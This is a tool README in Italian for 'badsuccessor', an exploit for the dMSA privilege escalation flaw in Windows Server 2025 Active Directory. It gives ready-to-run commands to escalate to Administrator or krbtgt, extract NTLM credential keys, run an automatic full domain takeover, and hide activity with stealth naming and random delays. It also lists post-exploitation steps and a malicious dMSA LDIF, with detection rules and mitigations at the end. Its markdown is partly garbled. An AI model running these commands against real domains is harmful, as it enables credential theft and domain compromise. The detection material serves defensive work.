
Sfrutta la vulnerabilità di escalation dei privilegi dMSA di Windows Server 2025 per enumerare OU scrivibili, escalare a utenti di dominio arbitrari, estrarre credenziali e consentire la compromissione del dominio nelle valutazioni di sicurezza AD autorizzate.
Uno strumento di penetration testing che sfrutta la vulnerabilità di escalation dei privilegi dMSA (delegated Managed Service Account) negli ambienti Active Directory di Windows Server 2025.
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e a scopi di ricerca sulla sicurezza. L'uso di questo strumento contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento.
IMPORTANTE: Questo strumento è in fase di sviluppo e test attivi.
Incoraggiamo la community della sicurezza a:
Usando questo strumento, riconoscete che è in fase di sviluppo attivo e potrebbe richiedere modifiche per il vostro ambiente specifico.
BadSuccessor sfrutta una vulnerabilità di escalation dei privilegi nella funzionalità delegated Managed Service Account (dMSA) di Windows Server 2025. La vulnerabilità consente agli attaccanti con permessi minimi di elevare i privilegi a qualsiasi utente del dominio, inclusi gli Amministratori di Dominio.
Questo strumento si basa sull'eccellente ricerca di Yuval Gordon di Akamai Technologies:
La vulnerabilità risiede nel processo di migrazione dMSA in cui:
msDS-ManagedAccountPrecededByLink o ms-DS-Managed-Account-Preceded-By-Link per puntare a un utente targetmsDS-DelegatedMSAState o ms-DS-Delegated-MSA-State a 2 (migrazione completata)Inoltre, la struttura KERB-DMSA-KEY-PACKAGE contiene le chiavi password dell'utente target, consentendo l'estrazione delle credenziali.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Nota**: Lo strumento è stato testato con impacket 0.12.0. Gli avvisi di compatibilità delle versioni vengono visualizzati in fase di esecuzione.
### Dipendenze opzionali```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Esempi di avvio rapido
#### 1. Modalità Dry Run (NUOVO) - Test senza apportare modifiche```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Esegui l'attacco```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gestione delle Sessioni (NUOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### Opzioni della riga di comando
#### Argomenti di autenticazione
| Opzione | Descrizione |
|--------|-------------|
| `-d, --domain` | Dominio di destinazione (es. corp.local) **[OBBLIGATORIO]** |
| `-u, --username` | Nome utente per l'autenticazione **[OBBLIGATORIO]** |
| `-p, --password` | Password per l'autenticazione |
| `--dc-ip` | IP del Domain Controller (rilevamento automatico se omesso) |
| `--ldaps` | Forza la connessione LDAPS (SSL) sulla porta 636 |
#### Modalità di attacco
| Opzione | Descrizione |
|--------|-------------|
| `--attack` | Esegue l'attacco BadSuccessor |
| `--dry-run` | **NUOVO**: Simula l'attacco senza apportare modifiche |
| `--extract-creds` | Estrae le credenziali utilizzando il key package |
| `--auto-pwn` | Compromissione completa del dominio in modalità automatica |
#### Specifica dell'obiettivo
| Opzione | Descrizione |
|--------|-------------|
| `--target` | Utente di destinazione a cui elevare i privilegi |
| `--targets` | Elenco separato da virgole di utenti per l'estrazione delle credenziali |
| `--validate-target` | **NUOVO**: Valida un account di destinazione senza effettuare l'attacco |
#### Configurazione dMSA
| Opzione | Descrizione |
|--------|-------------|
| `--dmsa-name` | Nome per il dMSA dannoso (generato automaticamente se non specificato) |
| `--dmsa-pattern` | **NUOVO**: Modello per la denominazione del dMSA (es. "svc{random}{target}") |
| `--ou-dn` | DN dell'OU specifico da utilizzare (rilevamento automatico se non specificato) |
| `--dmsa-description` | **NUOVO**: Descrizione per il dMSA creato |
| `--dmsa-display-name` | **NUOVO**: Nome visualizzato per il dMSA creato |
#### Opzioni di enumerazione
| Opzione | Descrizione |
|--------|-------------|
| `--enumerate` | Enumera le OU con permessi di scrittura QUALSIASI |
| `--list-targets` | Elenca gli obiettivi ad alto valore |
| `--check-schema` | Verifica lo schema di Windows Server 2025 |
#### Gestione delle sessioni (NUOVO)
| Opzione | Descrizione |
|--------|-------------|
| `--session-id` | Riprende una sessione esistente |
| `--list-sessions` | Elenca tutte le sessioni disponibili |
| `--cleanup-session SESSION_ID` | Esegue la pulizia di tutti i dMSA da una sessione |
#### Opzioni di pulizia
| Opzione | Descrizione |
|--------|-------------|
| `--cleanup` | Rimuove il dMSA creato |
| `--dmsa-dn` | DN del dMSA per le operazioni di pulizia |
| `--cleanup-all` | **NUOVO**: Esegue la pulizia di tutti i dMSA della sessione corrente |
#### Opzioni di output
| Opzione | Descrizione |
|--------|-------------|
| `--export-json FILE` | **NUOVO**: Esporta i risultati in un file JSON |
| `--export-csv FILE` | **NUOVO**: Esporta i risultati in un file CSV |
| `--export-html FILE` | **NUOVO**: Genera un report HTML |
| `--no-banner` | Sopprime l'output del banner |
| `--verbose` | Abilita l'output dettagliato |
#### Opzioni stealth (NUOVO)
| Opzione | Descrizione |
|--------|-------------|
| `--stealth` | Abilita la modalità stealth (denominazione innocua) |
| `--random-delay SECONDS` | Ritardo casuale tra le operazioni (0-N secondi) |
## 🔧 Flusso di lavoro dell'attacco
### Fase 1: Ricognizione
1. **Verifica dello schema**: Conferma il supporto dMSA di Windows Server 2025 con rilevamento dinamico degli attributi
2. **Scoperta dei permessi**: Identifica le OU con accesso di scrittura QUALSIASI (non solo CreateChild)
3. **Validazione dell'obiettivo**: **NUOVO** - Analisi completa dell'account di destinazione prima dell'attacco
### Fase 2: Sfruttamento
1. **Opzione Dry Run**: **NUOVO** - Verifica la fattibilità dell'attacco senza apportare modifiche
2. **Creazione del dMSA**: Crea un dMSA dannoso con attributi personalizzabili
3. **Manipolazione degli attributi**: Imposta il collegamento predecessore e lo stato di migrazione con consapevolezza dello schema
4. **Tracciamento della sessione**: **NUOVO** - Tutti gli oggetti creati vengono tracciati per una facile pulizia
### Fase 3: Autenticazione
1. **Richiesta TGT Kerberos**: Ottiene il TGT con i privilegi ereditati
2. **Analisi PAC**: Verifica le appartenenze ai gruppi ereditate
3. **Estrazione del key package**: Parsing migliorato con molteplici metodi di fallback
### Fase 4: Post-sfruttamento
Lo strumento fornisce comandi pronti all'uso per:
- Attacchi DCSync (dump di tutti gli hash del dominio)
- Esecuzione remota di comandi
- Movimento laterale
- Stabilimento della persistenza
## 🔐 Funzionalità pronte per la produzione (v3.0.0)
### Rilevamento dinamico dello schema (NUOVO)
- Rileva automaticamente quale convenzione di denominazione degli attributi utilizza il tuo ambiente
- Supporta tutte le varianti note degli attributi dMSA
- Meccanismi di fallback per diverse build di Windows Server 2025
### Validazione avanzata dell'obiettivo (NUOVO)
- Validazione pre-attacco degli account di destinazione
- Rileva account disabilitati, bloccati o scaduti
- Avvisa sui requisiti smartcard e sulle restrizioni di delega
- Fornisce raccomandazioni basate sulle proprietà dell'obiettivo
### Gestione delle sessioni (NUOVO)
- Tracciamento persistente della sessione tra le operazioni
- Riprende attacchi interrotti
- Pulizia in blocco di tutti i dMSA creati
- File di sessione archiviati in modo sicuro con permessi 0700
### Modalità Dry Run (NUOVO)
- Verifica la fattibilità dell'attacco senza apportare alcuna modifica
- Valida schema, permessi e obiettivo
- Riporta esattamente cosa accadrebbe durante un attacco reale
- Perfetto per ricognizione e pianificazione
### Funzionalità stealth (NUOVO)
- Modelli di denominazione dMSA innocui che si mimetizzano
- Ritardi casuali tra le operazioni
- Attributi dMSA personalizzabili (descrizione, nome visualizzato)
- Denominazione basata su modelli con variabili
### Formati di output professionali (NUOVO)
- Esportazione JSON per l'integrazione con altri strumenti
- Esportazione CSV per l'analisi tramite fogli di calcolo
- Report HTML con output stilizzato
- Dati strutturati per tutte le operazioni
### Gestione degli errori di livello enterprise
- Messaggi di errore completi con soluzioni attuabili
- Fallback eleganti per tutte le operazioni
- Registrazione dettagliata con timestamp e gravità
- Modalità verbose per la risoluzione dei problemi
### Implementazione completa
- Tutte le funzionalità completamente implementate (nessun codice segnaposto)
- Struttura del codice testata in produzione
- Design modulare con classi specializzate
- Piena compatibilità con varie configurazioni AD
## 🛡️ Rilevamento
### ID evento da monitorare
| ID evento | Origine | Descrizione |
|----------|--------|-------------|
| **5137** | Sicurezza | Creazione di oggetti del servizio directory (dMSA) |
| **5136** | Sicurezza | Modifica di oggetti del servizio directory |
| **2946** | Servizio directory | Autenticazione dell'account del servizio gestito di gruppo |
| **4768** | Sicurezza | Richiesta TGT Kerberos |
| **4769** | Sicurezza | Richiesta ticket di servizio Kerberos |
### Regole di rilevamento```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
Limitare i permessi delle OU ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
Monitora le operazioni dMSA ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
Implementare il rilevamento
In base alla ricerca di Akamai:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Struttura del Key Package
Il KERB-DMSA-KEY-PACKAGE contiene:
- Chiavi correnti: chiavi di crittografia della dMSA
- Chiavi precedenti: chiavi di crittografia dell'utente target (incluso l'hash NTLM)
- Consente l'estrazione diretta delle credenziali senza cracking delle password
## 🤝 Contributi
I contributi sono benvenuti! Per favore:
1. Forka il repository
2. Crea un branch per la funzionalità (`git checkout -b feature/enhancement`)
3. Committa le modifiche (`git commit -m 'Add new feature'`)
4. Carica il branch (`git push origin feature/enhancement`)
5. Invia una Pull Request
### Linee guida per lo sviluppo
- Segui la guida di stile PEP 8
- Aggiungi test unitari per le nuove funzionalità
- Aggiorna la documentazione
- Testa su più ambienti AD
- Testa con diverse convenzioni di denominazione degli attributi dello schema
- Assicurati che tutte le funzionalità siano pronte per la produzione (nessun segnaposto)
## 📝 Registro delle modifiche
### v2.3.0 (2025-05-28) - Release pronta per la produzione
- **NUOVO**: Modalità di prova (dry run) per una simulazione d'attacco sicura
- **NUOVO**: Gestione completa delle sessioni con persistenza dello stato
- **NUOVO**: Validazione dell'account target con analisi dettagliata
- **NUOVO**: Funzionalità di esportazione (JSON, CSV, HTML)
- **NUOVO**: Modalità stealth con pattern di denominazione innocui
- **NUOVO**: Attributi dMSA personalizzabili (descrizione, nome visualizzato)
- **NUOVO**: Denominazione dMSA basata su pattern con variabili
- **NUOVO**: Supporto di ritardi casuali per operazioni stealth
- **NUOVO**: Rilevamento dinamico degli attributi dello schema
- **NUOVO**: Parsing avanzato del pacchetto chiavi con fallback
- **NUOVO**: Operazioni di pulizia di massa
- **NUOVO**: Gestione degli errori e logging professionali
- **MIGLIORATO**: Architettura completamente modulare
- **MIGLIORATO**: Controllo delle versioni delle dipendenze
- **CORRETTO**: Tutto il codice segnaposto sostituito con implementazioni complete
### v2.2.0 (2025-05-27) - Aggiornamento di compatibilità
- **CORRETTO**: Risolti i problemi di importazione di impacket (rimossa la dipendenza da seq_decode)
- **CORRETTO**: Compatibile con impacket 0.12.0
- **FUNZIONALITÀ**: Aggiunto il supporto per entrambe le convenzioni di denominazione degli attributi dMSA
- **MIGLIORATO**: Migliore gestione degli errori per i fallimenti di importazione
- **MIGLIORATO**: Rilevamento dello schema più robusto
### v2.1.0 (2025-05-25) - Implementazione completa
- **IMPORTANTE**: Migliorato il controllo dei permessi ACL - ora rileva TUTTI i permessi di scrittura
- **IMPORTANTE**: Aggiunto il supporto per i gruppi predefiniti (Authenticated Users, Everyone, ecc.)
- **CORRETTO**: Rimosso tutto il codice segnaposto
- **CORRETTO**: Implementazione completa di tutte le funzionalità
- **MIGLIORATO**: Migliore gestione degli errori e output informativo
- **MIGLIORATO**: Enumerazione delle OU più completa (include i contenitori)
- **FUNZIONALITÀ**: Mostra i permessi esatti per ogni OU scoperta
- **FUNZIONALITÀ**: Rileva utenti protetti e restrizioni di delega
### v2.0.0 (2025-05-24) - Edizione potenziata
- **Maggiore**: Implementazione completa dell'autenticazione Kerberos
- **Maggiore**: Estrazione di KERB-DMSA-KEY-PACKAGE per il furto di credenziali
- **Maggiore**: Controllo base dei permessi ACL
- **Maggiore**: Verifica dello schema di Windows Server 2025
- **Funzionalità**: Modalità di estrazione massiva delle credenziali
- **Funzionalità**: Auto-pwn per il takeover automatico del dominio
- **Funzionalità**: Enumerazione avanzata dei target
- **Funzionalità**: Generazione di comandi post-exploitation
- **Miglioramento**: Migliore gestione degli errori e logging
- **Miglioramento**: Struttura del codice pronta per la produzione
## 📚 Riferimenti
- [Ricerca originale Akamai](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [GitHub Issue #1 - Controllo avanzato dei permessi](https://github.com/cybrly/badsuccessor/issues/1)
- [GitHub Issue #2 - Denominazione degli attributi dello schema](https://github.com/cybrly/badsuccessor/issues/2)
- [Microsoft Security Response Center](https://msrc.microsoft.com/)
## 🐛 Problemi noti
- Alcuni ambienti potrebbero usare diverse convenzioni di denominazione degli attributi (gestito dal rilevamento dinamico)
- L'autenticazione hash richiede la password per l'implementazione iniziale
- Alcuni ambienti potrebbero richiedere la configurazione manuale di Kerberos
- Le regole di rilevamento necessitano di personalizzazione per ogni ambiente
## 🔍 Risoluzione dei problemi
### Errori di importazione
Se riscontri errori di importazione con impacket:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
Lo strumento ora include il rilevamento dinamico dello schema. Se fallisce ancora:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### Errori di permesso negato
Usa la nuova modalità dry-run per testare:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 Contatti
Per domande, problemi o divulgazione responsabile:
- Apri un Issue su GitHub
- Segui le pratiche di divulgazione responsabile
- Concedi 90 giorni per lo sviluppo della patch
---
**⚡ Ricorda: Da un grande potere deriva una grande responsabilità. Ottieni sempre l'autorizzazione appropriata prima di testare!** 🔐